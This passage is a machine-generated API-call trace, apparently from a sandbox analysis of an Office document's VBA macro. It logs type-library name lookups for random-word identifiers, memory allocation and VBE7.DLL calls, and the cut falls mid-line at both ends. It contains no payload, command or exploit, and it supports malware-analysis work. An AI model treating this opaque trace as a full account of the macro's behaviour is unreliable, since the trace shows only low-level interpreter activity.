pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.174] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.174] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.174] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="gladdened", lHashVal=0x1092a3, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.174] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.174] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.174] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="gladdened", lHashVal=0x1092a3, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.174] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.174] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.174] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="gladdened", lHashVal=0x1092a3, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.174] IUnknown:Release (This=0x7479720) returned 0x5 [0018.174] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.174] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="gladdened") returned 0x1092a3 [0018.174] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_gladdened") returned 0x309be8 [0018.174] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.174] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.174] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="scaliness") returned 0x104ae1 [0018.174] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xa, _Src="scaliness" | out: _Dst="scaliness") returned 0x0 [0018.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=10, lpWideCharStr=0x263750, cchWideChar=10 | out: lpWideCharStr="scaliness") returned 10 [0018.175] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.175] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="scaliness", lHashVal=0x104ae1, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.175] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.175] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.175] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="scaliness", lHashVal=0x104ae1, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.175] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.175] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.175] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="scaliness", lHashVal=0x104ae1, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.175] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.175] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.175] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="scaliness", lHashVal=0x104ae1, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.175] IUnknown:Release (This=0x7479720) returned 0x5 [0018.175] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.175] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="scaliness") returned 0x104ae1 [0018.175] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_scaliness") returned 0x305426 [0018.175] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.175] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.175] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="cherimoya") returned 0x106283 [0018.175] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xa, _Src="cherimoya" | out: _Dst="cherimoya") returned 0x0 [0018.175] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=10, lpWideCharStr=0x263750, cchWideChar=10 | out: lpWideCharStr="cherimoya") returned 10 [0018.175] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.175] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="cherimoya", lHashVal=0x106283, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.175] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.175] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.175] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="cherimoya", lHashVal=0x106283, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.175] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.175] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.175] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="cherimoya", lHashVal=0x106283, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.175] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.175] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.175] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="cherimoya", lHashVal=0x106283, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.175] IUnknown:Release (This=0x7479720) returned 0x5 [0018.176] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.176] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="cherimoya") returned 0x106283 [0018.176] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_cherimoya") returned 0x306c5c [0018.176] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.176] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.176] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="undisclosed") returned 0x100bc1 [0018.176] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xc, _Src="undisclosed" | out: _Dst="undisclosed") returned 0x0 [0018.176] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=12, lpWideCharStr=0x263750, cchWideChar=12 | out: lpWideCharStr="undisclosed") returned 12 [0018.176] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.176] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="undisclosed", lHashVal=0x100bc1, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.176] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.176] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.176] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="undisclosed", lHashVal=0x100bc1, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.176] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.176] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.176] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="undisclosed", lHashVal=0x100bc1, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.176] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.176] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.176] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="undisclosed", lHashVal=0x100bc1, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.176] IUnknown:Release (This=0x7479720) returned 0x5 [0018.177] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.177] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="undisclosed") returned 0x100bc1 [0018.177] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_undisclosed") returned 0x30ede1 [0018.177] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.177] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.177] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x754fc84, cbMultiByte=10, lpWideCharStr=0xbf02762, cchWideChar=22 | out: lpWideCharStr="percussion") returned 10 [0018.177] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="grab") returned 0x10e44a [0018.177] strcpy_s (in: _Dst=0x2638f0, _DstSize=0x5, _Src="grab" | out: _Dst="grab") returned 0x0 [0018.177] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=5, lpWideCharStr=0x263750, cchWideChar=5 | out: lpWideCharStr="grab") returned 5 [0018.177] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.177] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="grab", lHashVal=0x10e44a, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.177] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.177] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.177] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="grab", lHashVal=0x10e44a, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.177] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.177] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.177] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="grab", lHashVal=0x10e44a, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.177] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.177] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.177] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="grab", lHashVal=0x10e44a, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.177] IUnknown:Release (This=0x7479720) returned 0x5 [0018.177] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.177] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="grab") returned 0x10e44a [0018.178] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_grab") returned 0x304977 [0018.178] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.178] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x754fcac, cbMultiByte=5, lpWideCharStr=0xbf031b4, cchWideChar=12 | out: lpWideCharStr="orlon") returned 5 [0018.178] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="grison") returned 0x101ea0 [0018.178] strcpy_s (in: _Dst=0x2638f0, _DstSize=0x7, _Src="grison" | out: _Dst="grison") returned 0x0 [0018.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=7, lpWideCharStr=0x263750, cchWideChar=7 | out: lpWideCharStr="grison") returned 7 [0018.178] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.178] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="grison", lHashVal=0x101ea0, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.178] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.178] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.178] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="grison", lHashVal=0x101ea0, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.178] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.178] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.178] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="grison", lHashVal=0x101ea0, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.178] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.178] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.178] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="grison", lHashVal=0x101ea0, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.178] IUnknown:Release (This=0x7479720) returned 0x5 [0018.178] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.178] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="grison") returned 0x101ea0 [0018.178] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_grison") returned 0x309949 [0018.178] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.178] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.179] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="secularized") returned 0x10a5af [0018.179] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xc, _Src="secularized" | out: _Dst="secularized") returned 0x0 [0018.179] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=12, lpWideCharStr=0x263750, cchWideChar=12 | out: lpWideCharStr="secularized") returned 12 [0018.179] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.179] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="secularized", lHashVal=0x10a5af, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.179] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.179] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.179] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="secularized", lHashVal=0x10a5af, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.179] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.179] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.179] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="secularized", lHashVal=0x10a5af, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.179] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.179] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.179] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="secularized", lHashVal=0x10a5af, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.179] IUnknown:Release (This=0x7479720) returned 0x5 [0018.179] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.179] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="secularized") returned 0x10a5af [0018.179] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_secularized") returned 0x309711 [0018.179] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.179] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.179] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xbf10000 [0018.180] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="elefants") returned 0x10aa1a [0018.180] strcpy_s (in: _Dst=0x2638f0, _DstSize=0x9, _Src="elefants" | out: _Dst="elefants") returned 0x0 [0018.180] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=9, lpWideCharStr=0x263750, cchWideChar=9 | out: lpWideCharStr="elefants") returned 9 [0018.180] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.180] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="elefants", lHashVal=0x10aa1a, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.180] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.180] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.180] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="elefants", lHashVal=0x10aa1a, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.180] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.180] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.180] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="elefants", lHashVal=0x10aa1a, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.180] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.180] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.180] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="elefants", lHashVal=0x10aa1a, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.180] IUnknown:Release (This=0x7479720) returned 0x5 [0018.180] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.180] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="beating") returned 0x10fe9f [0018.180] strcpy_s (in: _Dst=0x2638f0, _DstSize=0x8, _Src="beating" | out: _Dst="beating") returned 0x0 [0018.180] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=8, lpWideCharStr=0x263750, cchWideChar=8 | out: lpWideCharStr="beating") returned 8 [0018.180] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.180] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="beating", lHashVal=0x10fe9f, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.180] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.180] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.180] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="beating", lHashVal=0x10fe9f, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.180] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.180] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.181] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="beating", lHashVal=0x10fe9f, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.181] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.181] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.181] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="beating", lHashVal=0x10fe9f, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.181] IUnknown:Release (This=0x7479720) returned 0x5 [0018.181] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.181] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="beating") returned 0x10fe9f [0018.181] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_beating") returned 0x3001e4 [0018.181] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.181] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.181] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="envelop") returned 0x10f58f [0018.181] strcpy_s (in: _Dst=0x2638f0, _DstSize=0x8, _Src="envelop" | out: _Dst="envelop") returned 0x0 [0018.181] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=8, lpWideCharStr=0x263750, cchWideChar=8 | out: lpWideCharStr="envelop") returned 8 [0018.181] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.181] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="envelop", lHashVal=0x10f58f, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.181] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.181] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.181] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="envelop", lHashVal=0x10f58f, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.181] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.181] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.181] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="envelop", lHashVal=0x10f58f, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.181] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.181] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.181] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="envelop", lHashVal=0x10f58f, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.181] IUnknown:Release (This=0x7479720) returned 0x5 [0018.181] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.182] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="envelop") returned 0x10f58f [0018.182] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_envelop") returned 0x30f913 [0018.182] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.182] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.182] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="abkari") returned 0x10a3a5 [0018.182] strcpy_s (in: _Dst=0x2638f0, _DstSize=0x7, _Src="abkari" | out: _Dst="abkari") returned 0x0 [0018.182] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=7, lpWideCharStr=0x263750, cchWideChar=7 | out: lpWideCharStr="abkari") returned 7 [0018.182] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.182] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="abkari", lHashVal=0x10a3a5, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.182] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.182] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.182] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="abkari", lHashVal=0x10a3a5, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.182] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.182] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.182] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="abkari", lHashVal=0x10a3a5, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.182] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.182] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.182] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="abkari", lHashVal=0x10a3a5, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.182] IUnknown:Release (This=0x7479720) returned 0x5 [0018.182] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.182] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="abkari") returned 0x10a3a5 [0018.183] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_abkari") returned 0x301e0f [0018.183] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.183] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.183] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="alleviation") returned 0x1093c3 [0018.183] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xc, _Src="alleviation" | out: _Dst="alleviation") returned 0x0 [0018.183] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=12, lpWideCharStr=0x263750, cchWideChar=12 | out: lpWideCharStr="alleviation") returned 12 [0018.183] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.183] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="alleviation", lHashVal=0x1093c3, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.183] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.183] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.183] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="alleviation", lHashVal=0x1093c3, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.183] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.183] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.183] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="alleviation", lHashVal=0x1093c3, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.183] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.183] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.183] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="alleviation", lHashVal=0x1093c3, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.183] IUnknown:Release (This=0x7479720) returned 0x5 [0018.183] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.183] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="alleviation") returned 0x1093c3 [0018.183] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_alleviation") returned 0x308525 [0018.183] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.183] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.184] ITypeInfo:RemoteGetTypeAttr (in: This=0x759e768, ppTypeAttr=0x2632e0, pDummy=0xf01ee000c | out: ppTypeAttr=0x2632e0, pDummy=0xf01ee000c) returned 0x0 [0018.184] ITypeInfo:LocalReleaseTypeAttr (This=0x759e768) returned 0x0 [0018.184] ITypeInfo:RemoteGetTypeAttr (in: This=0x75a70e8, ppTypeAttr=0x263410, pDummy=0x1001ee000c | out: ppTypeAttr=0x263410, pDummy=0x1001ee000c) returned 0x0 [0018.184] ITypeInfo:LocalReleaseTypeAttr (This=0x75a70e8) returned 0x0 [0018.184] ITypeInfo:RemoteGetTypeAttr (in: This=0x759e768, ppTypeAttr=0x2631d0, pDummy=0x1101ee000c | out: ppTypeAttr=0x2631d0, pDummy=0x1101ee000c) returned 0x0 [0018.184] ITypeInfo:LocalReleaseTypeAttr (This=0x759e768) returned 0x0 [0018.185] ITypeInfo:RemoteGetTypeAttr (in: This=0x75a70e8, ppTypeAttr=0x263300, pDummy=0x1201ee000c | out: ppTypeAttr=0x263300, pDummy=0x1201ee000c) returned 0x0 [0018.185] ITypeInfo:LocalReleaseTypeAttr (This=0x75a70e8) returned 0x0 [0018.187] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.187] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0018.187] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.187] GetProcAddress (hModule=0x7fef3f10000, lpProcName=0x21e) returned 0x7fef3fe3834 [0018.187] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.187] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0018.187] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.188] GetProcAddress (hModule=0x7fef3f10000, lpProcName=0x26b) returned 0x7fef3fe4120 [0018.188] VirtualFree (lpAddress=0x52b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0018.189] VarUdateFromDate (in: dateIn=0x1ac0f4d8d1f80000, dwFlags=0x0, pudateOut=0x264880 | out: pudateOut=0x264880) returned 0x0 [0018.190] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0018.190] UserForm:IClassFactory:CreateInstance (in: This=0x7fef3e68338, pUnkOuter=0x74c7218, riid=0x7fef41be080*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2645d0 | out: ppvObject=0x2645d0*=0x4f5b500) returned 0x0 [0018.190] IUnknown:AddRef (This=0x4f5b500) returned 0x0 [0018.190] GetCurrentThreadId () returned 0x938 [0018.190] 